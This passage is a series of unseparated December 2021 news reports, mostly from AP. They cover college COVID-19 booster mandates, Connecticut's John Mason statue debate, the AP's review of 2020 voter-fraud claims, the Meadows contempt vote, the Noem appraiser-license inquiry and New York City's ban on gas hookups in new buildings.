officials are weighing whether to extend an existing mask mandate. Much is still unknown about the omicron variant and how big of a threat it poses. In the United States and many other nations, the delta variant is currently responsible for most COVID-19 cases. But as colleges brace for the worst, many see boosters as their best hope. More than 30 colleges have issued booster shot requirements in recent weeks, and others say theyre thinking about it. The Centers for Disease Control and Prevention is encouraging boosters for people ages 17 and older, and Pfizer last week announced that a booster of its COVID-19 vaccine might offer important protection against omicron even though the initial two doses appear less effective. Hundreds of colleges already require COVID-19 vaccines, and some say boosters are an obvious next step. Most booster mandates so far have come from small liberal arts colleges in the Northeast, but the list includes some as big as Boston University and NYU, and as far away as the University of Notre Dame in Indiana and the University of New Mexico. The University of Massachusetts in Amherst was among the first to require the booster for students, saying all students must get shots unless they have medical or religious exemptions. The boosters are our best protection, said Jeffrey Hescock, co-director of the universitys Public Health Promotion Center. This demonstrates that we take public health seriously, and our students do too. A recent online petition arguing against the booster mandate citing 97% of students vaccinated and few on-campus cases has attracted a few dozen signatures. But Emily OBrien, a freshman at UMass, said the booster shot is a reasonable demand. She was already planning on getting a booster but said the mandate will probably increase uptake among students and prevent future lockdowns. If the past six months have shown anything, its that lots of people wont bother to get vaccines especially younger healthy people if they dont have a requirement to, said OBrien, 18, of Bedford, New Hampshire. UMass will also require masks at the start of spring term, and its sending students home with a rapid test to be taken near the end of winter break. Many colleges are planning for potential disruption next semester even as they contend with outbreaks now. Middlebury College in Vermont switched to remote instruction last week amid a surge in cases and urged students to leave early for winter break. Rising cases at the University of Pennsylvania led to a ban on indoor social events last Thursday. On Friday, Tulane University in New Orleans warned that a campus spike includes probable cases of the omicron variant, confirmed in at least one student last week. In response, school officials reinstated a mask mandate and expanded virus testing. Some other schools are already postponing the return to campus next month to avoid outbreaks. Southern New Hampshire University and DePaul University in Chicago recently said students will take classes remotely for two weeks before returning to campus after the holidays. In a letter to students, DePauls president, A. Gabriel Esteban, said the school will cautiously start winter quarter so we can sustain a robust college experience the remainder of the academic year. When students at Stanford University return to campus in January, they will be barred from holding parties or other big gatherings for two weeks. Theyll also be tested once a week and continue to wear masks indoors as requirements to attend in-person classes. The measures aim to limit virus transmission without going too far in limiting the college experience, said Russell Furr, associate vice provost for environmental health and safety. This is something weve grappled with throughout the pandemic how do we get a balanced approach? Furr said. The goal is to avoid the strict lockdowns seen early in the pandemic, when student mental health really suffered, he added. At some colleges, theres still cautious hope for a normal semester. Leaders at the University of Central Florida told professors they can require in-person attendance in the spring, which had been discouraged this fall amid a surge in delta cases. In a campus message, interim provost Michael D. Johnson warned that if the omicron variant takes off, "we may need to change direction yet again. Another concern is omicrons timing even without a new variant, there were worries of more outbreaks as colder weather drives people indoors, said Anita Barkin, co-chair of a COVID-19 task force for the American College Health Association. The association recently recommended that colleges focus on increasing vaccination rates to avoid a new wave of cases. The message in all of it is, we need to remain vigilant, Barkin said. There is certainly pandemic fatigue and people are tired of the pandemic but it appears that the pandemic is not quite tired of us. HARTFORD The fate of the controversial John Mason statue remains up in the air following votes Tuesday in the State Capitol Preservation and Restoration Commission. But the 3,000-pound hunk of carved marble isnt going anywhere soon. The 12-member advisory commission was split three ways on the fate of the notorious Indian fighter, who led the massacre of hundreds of Pequots in Mystic in 1637 and whose likeness has stood in an exterior niche three floors above the north entrance of the State Capitol since 1910. After an 80 minute debate, only two other commissioners voted along with Sen. Cathy Osten, D-Sprague, to remove and relocate the statue to the Old State House a mile away in downtown Hartford. She stressed that the statue was hoisted to the gothic niche above the Capitols north steps decades after the building was completed in 1878. It was never an original piece of the building, said Osten, whose eastern Connecticut district includes two of the state-recognized tribes along with the federally recognized Mashantucket Pequots and Mohegans. Six commission members voted to agree with State Historian Walter Woodward, who suggested leaving the statue in place and support a task force of historians and educators in developing a program to enhance public knowledge of Connecticuts past. We have both a great need and a great opportunity, said Woodward, who is also a commission member. Three other members voted to take no action, noting a murky area of legislative rules that puts the commission under the power of the six leaders of the House and Senate. Emil Buddy Altobello, a former longtime member of the state House of Representatives who is chairman of the commission, said the mixed vote would be given to legislative leaders, to whom the panel reports. Commission member Brian Flaherty, another former House member, said that the growing public interest in the statue controversy is a great opportunity for using the State Capitol as an educational tool to tell the states real story, possibly for the first time. The current estimate to rig and remove the statue exceeds $50,000 far above the $15,000 that Osten, as co-chairwoman of the legislative Appropriations Committee, inserted in the current state budget to remove the statue. That higher amount triggers the need for either Senate Minority Leader Kevin Kelly of Stratford or House Minority Leader Vincent Candelora of North Branford to join the four Democratic leaders of the House and Senate to approve the expenditure. William Morgan, a commission member who is the former longtime chief of the State Capitol Police, voted to take no action on the issue because there has been no direct request from the General Assemblys Legislative Management Committee and the so-called big six: the two GOP leaders and four Democrats. I believe we should do nothing until we get a legislative bill, or direct legislative interest from the Legislative Management Committee, Morgan said. And currently, that GOP support for the statues removal apparently isnt there. Kelly did not return a request for comment on Tuesday. Candelora said Tuesday night that the state faces a great many more challenges over the next six months, including somehow opening the Capitol complex in February, when the next legislative session begins. In my opinion this is not the way we should be spending money at this time, Candelora said. Osten said Tuesday night that the initial bid for the work has been received by nonpartisan Capitol administrators, so she is still awaiting word whether the top Democrats and a Republican will agree to her request. She told the committee that an earlier opinion from the state attorney generals office indicated that if the project was mentioned in a budget debate, as it was earlier this year, it officially becomes part of the spending package. Even though there isnt a specific line item, Osten detailed it the night the Senate approved the budget last spring during the floor debate. I just have to wait for the leaders to respond, Osten said of the Legislative Management Committee, which she believes hasnt met in recent years. They can make the decision now, or not, as the case may be. Im going to wait until January and see what to do next. While Gov. Ned Lamont has no say in the management of the State Capitol, which is the purview of the General Assembly, he said after an event in Rocky Hill Tuesday morning that he has some ideas for historic figures whose likenesses could join the exterior statuary. I think Ill leave that up to the legislature, Lamont said. I know the Pequots feel very strongly about the Mason statue. Ive tried to get people energized about what other types of people you want up there on the pedestal. Ive tried with Jackie Robinson, Harriet Beecher Stowe, Igor Sikorsky. A different type of person that tells the story about what Connecticut is. kdixon@ctpost.com Twitter: @KenDixonCT ATLANTA (AP) Property owners don't have a common-law right to boot unauthorized vehicles on their premises, Georgia's highest court ruled Tuesday. Forrest Allen had sued the owner and operator of a DeKalb County shopping center and several of its tenants after his vehicle was immobilized in February 2018 and he was required to pay $650 to have the boot removed. The defendants argued on appeal before the Georgia Supreme Court that they had a common-law right to remove vehicles trespassing on their property. They also cited the centuries-old doctrine of distress damage feasant, which recognizes a landowner's right to contain trespassing livestock and hold it until the animal's owner can be determined and pays the landowner for damage, according to the opinion. The high court rejected those arguments, saying that the neither that doctrine nor the right to remove trespassing vehicles gives property owners the right to immobilize vehicles on their property. Indeed, there appears to be no legal authority recognizing a common-law right to immobilize unauthorized vehicles located on private property and hold them against the owners will until payment is received, Justice Shawn LaGrua wrote. Some municipalities in Georgia do have ordinances that specifically allow the booting of unauthorized vehicles, but that is not the case everywhere. ATLANTA (AP) An Associated Press review of every potential case of voter fraud in the six battleground states disputed by former President Donald Trump has found fewer than 475 a number that would have made no difference in the 2020 presidential election. Democrat Joe Biden won Arizona, Georgia, Michigan, Nevada, Pennsylvania and Wisconsin and their 79 Electoral College votes by a combined 311,257 votes out of 25.5 million ballots cast for president. The disputed ballots represent just 0.15% of his victory margin in those states. The cases could not throw the outcome into question even if all the potentially fraudulent votes were for Biden, which they were not, and even if those ballots were actually counted, which in most cases they were not. The review also showed no collusion intended to rig the voting. Virtually every case was based on an individual acting alone to cast additional ballots. The findings build on a mountain of other evidence that the election wasnt rigged, including verification of the results by Republican governors. The AP review, a process that took months and encompassed more than 300 local election offices, is one the most comprehensive examinations of suspected voter fraud in last years presidential election. It relies on information collected at the local level, where officials must reconcile their ballots and account for discrepancies, and includes a handful of separate cases cited by secretaries of state and state attorneys general. Contacted for comment, Trump repeated a litany of unfounded claims of fraud he had made previously, but offered no new evidence that specifically contradicted the APs reporting. He said a soon-to-come report from a source he would not disclose would support his case, and insisted increased mail voting alone had opened the door to cheating that involved hundreds of thousands of votes. I just dont think you should make a fool out of yourself by saying 400 votes, he said. These are some of the culprits in the massive election fraud Trump falsely says deprived him of a second term: A Wisconsin man who mistakenly thought he could vote while on parole. A woman in Arizona suspected of sending in a ballot for her dead mother. A Pennsylvania man who went twice to the polls, voting once on his own behalf and once for his son. The cases were isolated. There was no widespread, coordinated deceit. The cases also underscore that suspected fraud is both generally detected and exceptionally rare. Voter fraud is virtually non-existent, said George Christenson, election clerk for Milwaukee County in Wisconsin, where five people statewide have been charged with fraud out of nearly 3.3 million ballots cast for president. I would have to venture a guess thats about the same odds as getting hit by lightning. Even in the state with the highest number of potential fraud cases Arizona, with 198 they comprised less than 2% of the margin by which Biden won. Trump has continued to insist that the election was fraudulent by citing a wide range of complaints, many of them involving the expansion of mail voting because of the pandemic. As the Republican weighs another run for president in 2024, he has waded into some GOP primary contests, bestowing endorsements on those who mimic his Stop the steal rhetoric and seeking to exact revenge on some who have opposed his efforts to overturn the results. Trumps false claims of a stolen election fueled the deadly Jan. 6 attempted insurrection at the Capitol, have led to death threats against election officials and have become deeply ingrained within the GOP, with two-thirds of Republicans believing Bidens election is illegitimate. Republican lawmakers in several states have used the false claims as justification to conduct costly and time-consuming partisan election reviews, done at Trumps urging, and add new restrictions for voting. The number of cases identified so far by local elections officials and forwarded to prosecutors, local law enforcement or secretaries of state for further review undercuts Trumps claim. Election officials also say that in most cases, the additional ballots were never counted because workers did their jobs and pulled them for inspection before they were added to the tally. There is a very specific reason why we dont see many instances of fraud, and that is because the system is designed to catch it, to flag it and then hold those people accountable, said Amber McReynolds, a former director of elections in Denver and the founding CEO of the National Vote at Home Institute, which promotes mail voting. The APs review of cases in the six battleground states found no evidence to support Trumps various claims, which have included unsupported allegations that more votes were tallied than there are registered voters and that thousands of mail-in ballots were cast by people who are not on voter rolls. Dozens of state and federal courts have rejected the claims. White House spokesman Andrew Bates said the AP's reporting offered further proof that the election was fairly conducted and decided, contrary to Trump's claims. Each time this dangerous but weak and fear-ridden conspiracy theory has been put forward, it has only cemented the truth more by being completely debunked including at the hands of elections authorities from both parties across the nation, nonpartisan experts, and over 80 federal judges, he said. Experts say to pull off stealing a presidential election would require large numbers of people willing to risk prosecution, prison time and fines working in concert with election officials from both parties who are willing to look the other way. And everyone somehow would keep quiet about the whole affair. It would be the most extensive conspiracy in the history of planet Earth, said David Becker, a senior trial attorney in the Justice Departments Civil Rights Division during the presidencies of Bill Clinton and George W. Bush who now directs the nonprofit Center for Election Innovation & Research. Separate from the fraud allegations are claims by Trump and his allies that voting systems or ballot tallies were somehow manipulated to steal the election. Judges across the country, of both parties, dismissed those claims. That includes a federal judge in Michigan who ordered sanctions against attorneys allied with Trump for intending to create confusion, commotion and chaos in filing a lawsuit about the vote-counting process without checking for evidence to support the claims. Even Trumps former attorney general, William Barr, said a month after the election that there was no indication of widespread fraud that could change the result. For its review, AP reporters in five states contacted roughly 340 election offices for details about every instance of potential voter fraud that was identified as part of their post-election review and certification process. After an election is over, officials research voter records, request and review additional information if needed from the state or other counties, and eventually decide whether to refer potential fraud cases for further investigation a process that can take months. For Wisconsin, the AP relied on a report about fraud investigations compiled by the state and filed public records requests to get the details of each case, in addition to prosecutions that were not initially reported to the state elections commission. Wisconsin is the only one of the six states with a centralized accounting of all potential voter fraud cases. A state-by-state accounting: ARIZONA: Authorities have been investigating 198 possible fraud cases out of nearly 3.4 million votes cast, representing 1.9% of Bidens margin of victory in the state. Virtually all the cases were in Pima County, home to Tucson, and involved allegations of double voting. The county has a practice of referring every effort to cast a second ballot to prosecutors, something other offices dont do. In the Pima cases, only one ballot for each voter was counted. So far, nine people have been charged in the state with voting fraud crimes following the 2020 election. Six of those were filed by the state attorney generals office, which has an election integrity unit that is reviewing an undisclosed number of additional cases. GEORGIA: Election officials in 124 of the states 159 counties reported no suspicious activity after conducting their post-election checks. Officials in 24 counties identified 64 potential voter fraud cases, representing 0.54% of Bidens margin of victory in Georgia. Of those, 31 were determined to be the result of an administrative error or some other mistake. Eleven counties, most of them rural, either declined to say or did not respond. The state attorney general's office is reviewing about 20 cases referred so far by the state election board related to all elections in 2020, including the primary, but it was not known if any of those overlapped with cases already identified by local election officials. MICHIGAN: Officials have identified 56 potential instances of voter fraud in five counties, representing 0.04% of Bidens margin of victory in the state. Most of the cases involved two people suspected of submitting about 50 fraudulent requests for absentee ballots in Macomb, Wayne and Oakland counties. All the suspicious applications were flagged by election officials and no ballots were cast improperly. NEVADA: Local officials identified between 93 and 98 potential fraud cases out of 1.4 million ballots cast, representing less than one-third of 1% of Bidens margin of victory. More than half the total 58 were in Washoe County, which includes Reno, and the vast majority involved allegations of possible double voting. The statewide total does not include thousands of fraud allegations submitted to the state by local Republicans. Republican Secretary of State Barbara Cegavske has said many of those were based largely upon an incomplete assessment of voter registration records and lack of information concerning the processes by which these records are compiled and maintained. Its not known how many remain under investigation. PENNSYLVANIA: Election officials in 11 of the states 67 counties identified 26 possible cases of voter fraud, representing 0.03% of Bidens margin of victory. The elections office in Philadelphia refused to discuss potential cases with the AP, but the prosecutors office in Philadelphia said it has not received any fraud-related referrals. WISCONSIN: Election officials have referred 31 cases of potential fraud to prosecutors in 12 of the states 72 counties, representing about 0.15% of Bidens margin of victory. After reviewing them, prosecutors declined to bring charges in 26 of those cases. Meagan Wolfe, administrator of the Wisconsin Elections Commission, said the number of cases in 2020 was fairly run of the mill. APs review found the potential cases of fraud ran the gamut: Some were attributed to administrative error or voter confusion while others were being examined as intentional attempts to commit fraud. In those cases, many involved people who sought to vote twice by casting both an absentee and an in-person ballots or those who cast a ballot for a dead relative such as the woman in Maricopa County, Arizona. Authorities there say she signed her mothers name on a ballot envelope. The womans mother had died a month before the election. The cases are bipartisan. Some of those charged with fraud are registered Republicans or told investigators they were supporters of Trump. Donald Holz is among the five people in Wisconsin who face voter fraud charges. He said all he wanted to do was vote for Trump. But because he was still on parole after being convicted of felony drunken driving, the 63-year-old retiree was not eligible to do so. Wisconsin is not among the states that have loosened felon voting laws in recent years. Holz said he had no intention to break the law and only did so after he asked poll workers if it was OK. The only thing that helps me out is that I know what I did and I did it with good intentions, Holz said after an initial court appearance in Fond du Lac. The guy upstairs knows what I did. I didnt have any intention to commit election fraud. In southeast Pennsylvania, 72-year-old Ralph Thurman, a registered Republican, was sentenced to three years probation after pleading guilty to one count of repeat voting. Authorities said Thurman, after voting at his polling place, returned about an hour later wearing sunglasses and cast a ballot in his sons name. After being recognized and confronted, Thurman fled the building, officials said. Thurmans attorney told the AP the incident was the result of miscommunication at the polling place. Las Vegas businessman Donald Kirk Hartle was among those in Nevada who raised the cry against election fraud. Early on, Hartle insisted someone had unlawfully cast a ballot in the name of his dead wife, and state Republicans seized on his story to support their claims of widespread fraud in the state. It turned out that someone had cast the ballot illegally Hartle, himself. He agreed to plead guilty to a reduced charge of voting more than once in the same election. Hartles attorney said the businessman, who is an executive at a company that hosted a Trump rally before the election, had accepted responsibility for his actions. Additional fraud cases could still surface in the weeks and months ahead. One avenue for those is the Electronic Registration Information Center, a data-sharing effort among 31 states aimed at improving state voter rolls. The effort also provides states with reports after each general election with information about voters who might have cast ballots in more than one state. In the past, those lists have generated small numbers of fraud cases. In 2018, for example, Wisconsin used the report to identify 43 additional instances of potential fraud out of 2.6 million ballots cast. Official post-election audits and other research have shown voter fraud to be exceptionally rare. A nonpartisan audit of Wisconsins 2020 presidential election found no evidence of widespread fraud and a Republican lawmaker concluded it showed that elections in the state were safe and secure, while also recommending dozens of changes to how elections are run. In Michigan, Republican state senators issued a report earlier this year saying they had found no evidence of widespread or systematic fraud in the 2020 election. Not only do election officials look for fraud, they have procedures to detect and prevent it. For mail voting, which expanded greatly last year because of the pandemic, election officials log every mail ballot so voters cannot request more than one. Those ballots also are logged when they are returned, checked against registration and, in many cases, voter signatures on file to ensure the voter assigned to the ballot is the one who cast it. If everything doesnt match, the ballot isnt counted. Often, we dont get to fraud, said Jennifer Morrell, a former local election official in Utah and Colorado who advises election officials on security and other issues. Say we have evidence that something might not be correct, we ask the voter to provide additional documentation. If the person doesnt respond, the ballot isnt accepted. The fraud never happened. If a person who requested a mail ballot shows up at a polling place, this will become apparent when they check in. Typically, poll workers either cancel the ballot that was previously issued, ensuring its never counted, or ask the voter to complete a provisional ballot that will only be counted if the mail ballot is not. In Union County, Georgia, someone voted in person and then election officials found their ballot in a drop box. Since the person had already voted, the ballot in the drop box was not counted and the case was referred to the state for investigation, Deputy Registrar Diana Nichols said. We can tell pretty quick whenever we pull up that record -- wait a minute, this person has already voted, Nichols said. Im not saying its foolproof. We are all human, and we all make mistakes. But as far as the system is set up, if you follow the rules and the guidelines set up by the state, I think its a very good system. The final step is the canvassing process in which election officials must reconcile all their counts, ensuring the number of ballots cast equals the number of voters who voted. Any discrepancies are researched, and election officials provide detailed explanations before the election can be certified. Often, an administrative error can raise questions that suggest the potential for fraud. In Forsyth County, Georgia, election officials were asked by Arizona investigators for records confirming that a voter had also cast a ballot in Georgia last November. It turns out that voter didnt cast a ballot but was listed as having done so because their registration number was mistakenly associated with another voters record in the countys system, according to a letter sent by county election officials. In other cases, it could be as simple as a voter signing on the wrong line next to another persons name in a paper pollbook at their polling place. Once researched, it quickly becomes clear no fraud occurred. Republican lawmakers have argued there are security gaps in the process, using concerns of fraud to justify restrictions on voting laws. This has happened even in places where Republican lawmakers have pushed back against Trumps false claims and said the 2020 election was valid. The review by Republican lawmakers in Michigan that found no systemic fraud cited various claims they had investigated. For example, senators were provided with a list of over 200 voters in Wayne County who were believed to be dead. Of these, the report noted, only two instances involved actual dead voters. The first was due to a clerical error in which a son had been confused with his dead father and the second involved a 92-year-old woman who had died four days before the election. And yet, Republicans in the state are collecting signatures for a citizen initiative that would allow the GOP-controlled legislature to approve voting restrictions and bypass a veto by the Democratic governor. Republicans say mail voting needs to be more secure as more people embrace it. These bills will restore confidence in our elections, said GOP Rep. Ann Bollin, chairwoman of the Michigan House Elections and Ethics Committee and a former township clerk. Voters want to know their vote will count and that they, and only they, are casting their own ballot. Overall, 80% of counties in the six states reviewed by the AP reported no suspicious activity after completing their post-election reviews. This was true of both small and large counties, something experts said was to be expected given how rare voter fraud has been. Limited instances of fraud do occur, as the AP review illustrates, but safeguards ensure they are few and that they are caught, said Ben Hovland, a Democrat appointed by Trump to serve on the U.S. Election Assistance Commission, which supports the state and local officials who administer elections. Every credible examination has shown there was no widespread fraud in the 2020 presidential election, Hovland said. Time and again when we have heard these claims and heard these allegations, and when you do a real investigation, you see that it is the exception and not the rule. ___ Contributing to this report were Associated Press data journalist Camille Fassett in Oakland, California; reporter Colleen Long in Washington; AP state government reporters Scott Bauer in Fond du Lac, Wisconsin; Bob Christie in Phoenix; David Eggert in Lansing, Michigan; Anthony Izaguirre in Tallahassee, Florida; and Michelle L. Price in New York City; and other AP reporters in Michigan and Pennsylvania. WASHINGTON (AP) The House has voted to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote Tuesday is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. The two GOP votes Reps. Liz Cheney of Wyoming and Adam Kinzinger of Illinois, who serve on the committee in favor of the resolution came after nine Republicans voted to hold former Trump ally Steve Bannon in contempt in October. While Bannons case was more clear-cut he never engaged with the committee at all Meadows had turned over documents and negotiated for two months with the panel about an interview. Meadows also has closer relationships within the Republican caucus, having just left Congress last year. Meadows was also Trumps top aide in the White House, giving him more plausible grounds to claim executive privilege. Bannon had not worked in the White House since 2017. The Justice Department will also be weighing those factors as prosecutors decide whether to move forward with the case. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it evil and un-American. Rep. Jim Jordan of Ohio praised Meadows: Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison. Trump also defended Meadows in an interview, saying: I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Terwilliger said, The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced. Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. Meanwhile, Senate Republican leader Mitch McConnell told reporters: I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved. He added that he was not in contact with Meadows on the day of the attack. Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand. Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: Im pushing it hard. I agree. Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Cheney, the panels vice chairwoman, said at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. These texts leave no doubt, she said. The White House knew exactly what was happening at the Capitol. The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud, even though election officials and courts across the country had rejected those claims. ___ Associated Press writers Eric Tucker and Darlene Superville contributed to this report. PIERRE, S.D. (AP) South Dakota Gov. Kristi Noems daughter received unusual treatment in an application for her real estate appraiser license, including an extra opportunity to obtain it after failing to meet federal requirements, the former director of a state appraiser agency told lawmakers Tuesday. Sherry Bren's testimony before a legislative panel was the first time that she has spoken in depth in public about Kassidy Peters' application and about a meeting that her mother called last year to discuss the appraisal process. The panel began looking into the July 2020 meeting at the governor's mansion after The Associated Press first reported on it in September. Noem called the meeting a week after the state's Appraiser Certification Program notified her daughter that her application was headed for denial. Peters ultimately obtained the certification four months later, in November 2020, and Bren said she was subsequently forced to retire" from a program that she had led since its inception in 1991. Bren testified that she felt intimidated at the July meeting, where she said Peters unsuccessful application was discussed in detail and a plan was formulated that gave her another chance to apply. Bren said that she could not remember the agency forming what's called a stipulation agreement for any other appraiser at that point in their application. She said it broke with established procedures, giving Peters a third chance to pass a work review; applicants are usually granted two opportunities. Even before that, Bren said, Peters application had departed from established practice, when Noems labor secretary took an unusual, hands-on role that spring. The legislative panel's inquiry comes as Noem has positioned herself as a prospect for the GOP presidential ticket in 2024 and shown a willingness to jab at potential rivals. Noem has denied wrongdoing, casting her actions as an effort to cut red tape to address a shortage of appraisers. Noem also has insisted the agreement was not broached at the July meeting and said her daughter had only given her personal experiences through the program. Theres been a continual narrative that I did something to help her get licensed, which is absolutely false, Noem said at an event Monday. In testimony Tuesday, Bren said she had expected to see Noem and her labor secretary at the July meeting, but was surprised it included others, including Peters and the governors top aides. Once I got there, I was very nervous, and, quite frankly, intimidated, Bren said. As she testified, Noem spokesman Ian Fury posted on Twitter that the agreement showed that Peters had to meet additional requirements to get her license. In an email, Fury also questioned Bren's credibility, pointing out that the agency had previously entered into a stipulation agreement" with an applicant in 2017. But Bren said that 2017 agreement was reached as part of the proceedings of a third-party review board, called the Office of Hearing Examiners, to which appraisers can appeal if they believe the agency mishandled their license. Once our case goes to hearing, then these documents are outside of my authority or control, and it would not be the same thing as what were talking about today, Bren told the committee. The 2017 agreement laid out a plan for an applicant to withdraw his application and submit a new one; Peters' agreement allowed her to complete her initial application. In another departure from normal procedure, Bren said Secretary of Labor Marcia Hultman had pushed in the spring for her to strike from Peters' first agreement a requirement that she take additional classes as she tried for a second time to meet federal requirements. Bren said she could not remember a cabinet secretary ever getting involved in that process. Hultman previously testified that Peters application was handled in the same way as many other applicants. Hultman also said the meeting in the governors mansion did not influence how Peters' application was handled because regulators had already shaped the agreement. But Bren told lawmakers, I recall the discussion focused on crafting a second agreement requiring Peters to complete the classes. Peters agreed to complete the classes, correct and rewrite the appraisal reports, and submit them for review to the examiner. The agreement was signed more than a week after the meeting. Brens appearance was compelled by subpoena. After she was pressured to retire last year, she filed an age discrimination complaint and accepted a $200,000 settlement that bars her from disparaging state officials. Bren testified that she was forced to retire. Asked later to say why, she said: I believe that it was age discrimination and beyond that would be strictly speculation on my part. Several lawmakers said they would like to see the state remove the nondisparagement clause from Bren's agreement because it would let them get more information. This is a question about, was a longtime, dedicated employee, was she wrongfully fired? Was she wrongfully fired on behalf of a relative of the governor? And did the state end up paying $217,000 to cover that up? said Sen. Reynold Nesiba, a Democrat. And were not going to know the answer to that question because of this nondisparagement clause. The committee will draft a report on its findings, said Rep. Randy Gross, the Republican co-chair. He said that would let the facts of what we learned stand on their own. ___ This story has corrected the attribution of a statement to Sherry Bren and that she filed an age discrimination complaint, not a lawsuit. ___ Follow Stephen Groves on Twitter: https://twitter.com/stephengroves PICKENS, S.C. (AP) A man was sentenced Tuesday to life in prison for raping, robbing and choking an 89-year-old woman until she was unconscious, then returning later with a knife to kill her by slashing her throat in her South Carolina home, prosecutors said. Thomas James Chapman, 23, pleaded guilty to murder, first degree criminal sexual conduct, burglary and other charges in the killing of Margaret Alice Karr in her Liberty home in April 2020, the 13th Circuit Solicitor's Office said in a statement. NEW YORK (AP) New York City is poised to bar most new buildings from using natural gas within a few years, after lawmakers voted Wednesday to make the United States' most populous city a showcase for a climate-change-fighting policy that has been both embraced and blocked elsewhere. If Democratic Mayor Bill de Blasio signs the measure, as expected, most construction projects submitted for approval after 2027 would have to use something other than gas or oil such as electricity for heating, hot water and cooking. Some smaller buildings would have to comply as early as 2024. Hospitals, commercial kitchens and some other facilities would be exempt. Supporters say it's a substantial and necessary move to combat global warming. Heating, cooling and powering buildings accounts for nearly 70% of the city's emissions of carbon dioxide and other heat-trapping gases. New buildings' stoves and furnaces would use electricity generated partly from burning natural gas and other fossil fuels, but backers say the change still would keep millions of tons of carbon dioxide out of the atmosphere over time. They argue it would boost momentum ahead of a statewide requirement to use 70% renewable energy by 2030, up from about 30% now. This is a huge, huge step forward," said Alex Beauchamp of Food & Water Watch, an environmental group. He called the legislation a real game-changer on the national scene." Berkeley, California, debuted the idea of banning gas hookups for new buildings in 2019. The measure faces an ongoing court challenge from a restaurant association, but San Francisco, Seattle and a few dozen other U.S. cities mainly in California have followed suit. Its too early to gauge the impact, said Amy Rider of the Building Decarbonization Coalition, which advocates for such laws. The town of Brookline, Massachusetts, has passed one twice. It was retooled and reapproved this summer after the state attorney general blocked the first version, saying it intruded on state authority. The AG hasn't taken action against the new effort to date. At the same time, states including Arizona, Oklahoma and Texas have barred cities from enacting such laws, saying that consumers should have their choice of energy sources. In Texas, the effort began before, but gained all the more steam after, a February storm spawned massive power outages that left many households shivering without electricity, heat or drinkable water for days. In New York, shifts toward electric vehicles, furnaces and appliances are expected to create long-term upward pressure on electricity use, according to the New York Independent System Operator, which oversees the states electricity supply. The organization said in a recent report that it's still studying how those trends will affect the power system, but it forecasts that electricity demand in winter could surpass summer peaks by about 2040. The state envisions big increases in wind and solar power, among other approaches to meet its renewable energy targets and growing demand. Some projects are in the works. Still, some building interests worried at a City Council hearing last month that banning new natural gas hookups could strain the electrical grid. It already struggles during heat waves in the city, sometimes resulting in sizeable neighborhood outages. James Whelan, who runs a landlords lobbying group called the Real Estate Board of New York, said Wednesday that it gets the importance of moving away from fossil fuels, but these policies must be implemented in a way that ensures that New Yorkers have reliable, affordable, carbon-free electricity. Real estate groups also pressed to push back the deadlines for nixing gas, saying that alternative technologies such as electric heat pumps that transfer heat between indoors and outdoors need more time to develop, particularly for skyscrapers. Utilities, meanwhile, have sounded economic alarms, while saying they support and are working on greening the energy supply. We have real concerns that, as envisioned, these (proposals) may result in increased energy costs for customers, Bryan Grimaldi, a vice president of power provider National Grid, told council members last month. Con Edison, which serves much of the city, encouraged them to help poorer renters with what it characterized as increased costs of electric heating. Both utilities greeted Wednesday's vote with measured statements, with Con Ed saying that a clear-cut path toward electrification of most new buildings is a sensible and necessary step. Environmental groups say electric doesn't necessarily mean more expensive. In fact, they say it's just the opposite in some new, energy-efficient buildings. They also note that natural gas prices fluctuate, having risen notably this year before recently dropping somewhat. Considering that residents have been told to forgo plastic bags and straws and take other steps to preserve the planet, its time for legislators to look beyond individual behavior to building emissions, Council Member Alicka Ampry-Samuel told her colleagues Wednesday before they approved her legislation by a 40-7 vote, with one abstention. The Democrat, who represents an overwhelmingly Black Brooklyn district, has said the legislation also aims to fight air pollution, particularly on behalf of communities of color. Researchers have found that non-white people are exposed to more air 